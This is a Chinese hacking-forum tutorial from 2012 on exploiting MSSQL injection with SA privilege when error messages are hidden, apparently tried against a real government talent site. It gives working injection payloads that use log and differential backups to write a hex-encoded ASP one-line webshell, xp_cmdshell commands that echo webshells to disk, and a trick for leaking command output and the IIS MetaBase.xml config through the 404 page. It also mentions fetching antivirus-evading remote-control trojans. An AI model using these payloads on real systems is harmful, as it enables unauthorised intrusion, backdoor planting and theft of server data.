找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2219|回复: 0
打印 上一主题 下一主题

sa权限的教程.

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:30:15 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————  q) z. r( d; G2 N: i9 s7 Y
! B; V9 ?+ L8 \% x8 j

& ~; d- X9 y* t/ [& R! X( ^8 W7 D                                                             欢迎高手访问指导,欢迎新手朋友交流学习。
6 {' N) ^- n4 V6 H. O$ |) _) N5 v- ?' P. [/ F- f" W9 J
                                                                 
% E. p  a' a0 f4 A+ [$ f                                                                 
* s* e  v0 B7 p; ]6 ^9 x& N1 H                                                                  论坛: http://www.90team.net/6 t8 w% O* s; N5 _

, V7 T/ U+ B6 t( Q4 M0 n# Y% t6 x$ t/ g
0 e6 Z* J/ U. W& n: x, U( C/ W
友情检测国家人才网7 E) h/ I" K4 a; L. E5 O

. R) B$ c9 S! j" Z& f. l1 A6 a4 f" W7 b! V) s( p
内容:MSSQL注入SA权限不显错模式下的入侵
3 F4 X8 R! a  |' ]% H$ b8 q' n& q' @! ?
6 z1 O5 T) ]! k/ b6 g- N, u
一般新手扫到不显错的SA(systemadmin)的注入点时,虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了,今天我给大家演示下如何利用。方法很简单大家看操作。2 T' Y, w; F+ M+ Z( ^

: A  ^- E: ?; s* x2 m9 H) \我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
+ H( _6 z+ o- ]% p+ d6 K
/ D1 {8 T! i( d$ G$ q& [3 F6 N& b6 n; H5 s& M  d6 |
这里的主机环境:MSSQL+JSP 权限为不显错的SA,支持多行执行 xp_cmdshell存活 服务器处于内网,WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003,IIS,404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。+ q3 s$ J. `7 _/ R

9 E3 n9 Q# L# K' L0 X( g: T6 `思路:5 h4 D9 ?! r; a/ ], Y$ t
) H" E; v+ S- p9 n' ~& G$ B) J! H
首先:, M+ t* w0 f( j* x

% Q% w" o$ h/ }( Q! k通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面,然后访问WEB站点的一个不存在的目录得到命令执行结果,刺探服务器信息。% k1 [9 k/ G! I; `, b" D
7 M- i' S/ D) D: a
1.日志备份获得Webshell
$ D. p' B3 u+ V4 K: g2 W
2 E& x- n# v/ E) V( K& N) N2 v2.数据库差异备份获得Webshell
; M; [+ F+ c  {& C
" M  a, v4 U( N9 n4.直接下载免杀远控木马。
* l/ N) B' @, u: O$ {8 m; A+ D4 ~5 P  z
5.直接下载LCX将服务器端口转发出来$ h$ z9 _7 ]+ Y2 _" G' {  |

4 ^2 M; h* C( m- n5 o8 n9 P6.通过XP_CMDSHELL 执行命令读取iis配置文件(C:\Windows\system32\inetsrv\MetaBase.xml )分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。7 e! U0 J0 s1 g: E
' T% m- {1 D7 b( M; B

+ y5 O8 P. ?: ]9 D6 @$ k2 h/ N
在这里我就不浪费大家时间了,我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了, 9 d9 x8 z+ N+ F& x* R) \7 e3 y

3 @4 @' F' g* ?, {% M我直接演示后面一个方法
. Q* c" a- l: ~& S) _$ m. V0 D' P, [

; `8 n5 G* ]4 ]5 V# x6 Z分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL + Y( I) e. @$ U
% P% r5 P* f% X1 k

. R! v4 I- S3 F2 B9 `- r* T2 J6 e: b* w& S. x

! z4 q  `) G2 b◆日志备份:) N$ C9 F8 j. J2 _- y% K, x

& O! |* V8 z% N' v1 b$ c; H$ b2 {4 `$ H7 R" c1 h# d/ v  n
1. 进行初始备份: x# }( {1 B" F1 x+ l" U5 {  X
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--/ V5 @& p6 z3 w; b! e

6 U: ]* F: Q: R$ _0 H2. 插入数据' X/ C& W1 E8 [% V' M! G! c' A
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--; f( c: ?) I! ]; x% m; h4 g

" ~; K! ^% Z8 A) s, t0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
* ~3 U  s& f8 X, U  9 X! U$ D% `* i
3. 备份并获得文件,删除临时表. R. j+ b0 o- _+ Q6 V- s
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
* v- v  |1 Y, |/ V0 s0 P; Y8 ]( S+ B% R7 ]3 P6 Z2 f
8 c# y4 A5 F& b! J! L

0 D" c9 l5 X7 e  r& x◆数据库差异备份
: J" b9 |0 T: w6 h, [  f; q6 d  m1 l$ ]$ N* Y* a0 U3 A+ y
(1. 进行差异备份准备工作: _" N- N% C5 X0 x- z+ O4 |" L

/ C! t. A7 I4 C6 _  h: z;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
9 M4 U3 ~- K# c: Y$ q7 D7 {8 T) R9 a* g  G2 }2 p" n/ {  u& ]' H, i
上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
3 q: f  o5 f9 x, X: | 6 M/ Z2 n7 B- m- h! {+ e& C
4 Q* q& u1 A" e2 D  V5 A. `% K
(2. 将数据写入到数据库1 z2 G( l" w! ?
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)-- 5 h: j3 I& @1 M: a) N

# V, J2 ?' Q6 m& X0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
5 l2 A( q! ~1 k' w1 p5 g) v& t& D- J* p' k
3. 备份数据库并清理临时文件
4 T& X: k: ^6 b% O
4 v2 e/ L, X- g5 N7 w;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
( r% M: G) a5 S" A  C# f1 \; `
* B" H% y' k% p' c0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
9 t( v3 A' a0 h, r' `) h# U; t  }7 v8 b$ u" Q1 b. C/ F- n

) v, S* N8 C5 _1 s6 n; l& Y6 h2 c* l
用^转义字符来写ASP(一句话木马)文件的方法:   9 B# A& N1 `5 \1 E. M! {) ~
. F. G, a% J8 o9 p0 d$ E9 w& M$ s
1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
! e1 i" Q" _0 w& _) t+ c% m8 a. s: }8 L/ E
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
1 U. r4 r# k6 |( l9 d6 @0 ?) c  a
' v1 e1 }9 R& M5 V读取IIS配置信息获取web路径
2 h' [8 J( {' A% Y9 v
8 S! ]2 j- e6 t* a8 j+ I     
- X9 q% y5 j# k, [$ _     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--4 c% Q8 L$ {; ?5 `, q3 K

9 o; V8 {0 ?- e* R: a4 {执行命令$ f/ X8 M" b6 R4 U  V; y) O+ q
     
! A$ [! H) F$ x# t     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
$ F) @6 s- F" I) K' }2 |- d2 }) `- K6 R8 M

: V$ T2 |; e( x( {" i- u4 y: m8 b" F' `

8 O, ~, A( n- }5 k& {# G& P" g8 A5 _. l
4 ]; ?/ ^2 q4 E( ~! x* |& K

3 w0 `0 G" k# d2 E; y8 t" E
9 r: a1 O" A* J- s( B8 e. T- w9 A4 H: F
' \# f' H# {" U: |
3 s3 r6 V' \2 j) l" H& c) r: c, m

0 G: f, X0 |2 \8 I* J+ k9 I. e* H

1 ?/ v' _1 f% j8 c0 t! E& ~7 c2 f2 j, h! `. z

! P6 P; ~5 x% m9 w, @
' @2 \0 k% |) N
7 T* o& n+ q* T, c& O
$ _9 I; Y  Z6 ?; L/ a0 P; o' ?: A/ e* R9 }) L
; Z# I0 Z/ E5 G* o+ Y  e8 Y  c

' M, o: H/ e& }! r7 ?  m% l. j1 x% o1 e1 e6 H( x$ L5 o0 E6 a" `  G* L1 F: Q
3 l0 o) \4 l4 r) p7 \2 U$ ?
- r" v4 {, g$ z0 s( r8 p
1 C8 t7 O6 {3 L) f+ M4 U  e5 W( L0 ~5 k
% i% D7 E% I. w4 t6 ?. j
) k$ c# Y2 ^: e  r( Q" N
7 Y5 Y6 n+ S0 q7 W5 m9 O
2 t0 C- r( e; t! ]' Z1 J1 j0 o

) [! g3 m0 k* p0 B
% |& B& I+ B, `( `4 ^7 ]
% t! N7 y6 f$ T. _
' N( ~1 O# a: c' s
! R, S4 T" x# U* @! }
& R/ }/ W+ h3 E! k8 P0 {. c- O: J9 y* _
7 U% c- x. E7 H; ?& g. p7 \

8 u5 U' A9 b$ g1 E$ K% r- w. {0 {' M- g3 Z% A! C; y

9 f$ D' k( \6 _; E& T0 N
+ [* H, o; b. [/ M- k
1 r# U, U2 X4 X, p$ n  f1 L- w8 L) M; M( Z4 ^
& k$ S* i& S0 ]6 P/ |5 a; s9 ]

% X4 b1 }* |( f) ^
/ S) V1 q! n7 o5 S3 _! z1 L: W5 V  v- @& Y% S( S0 r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表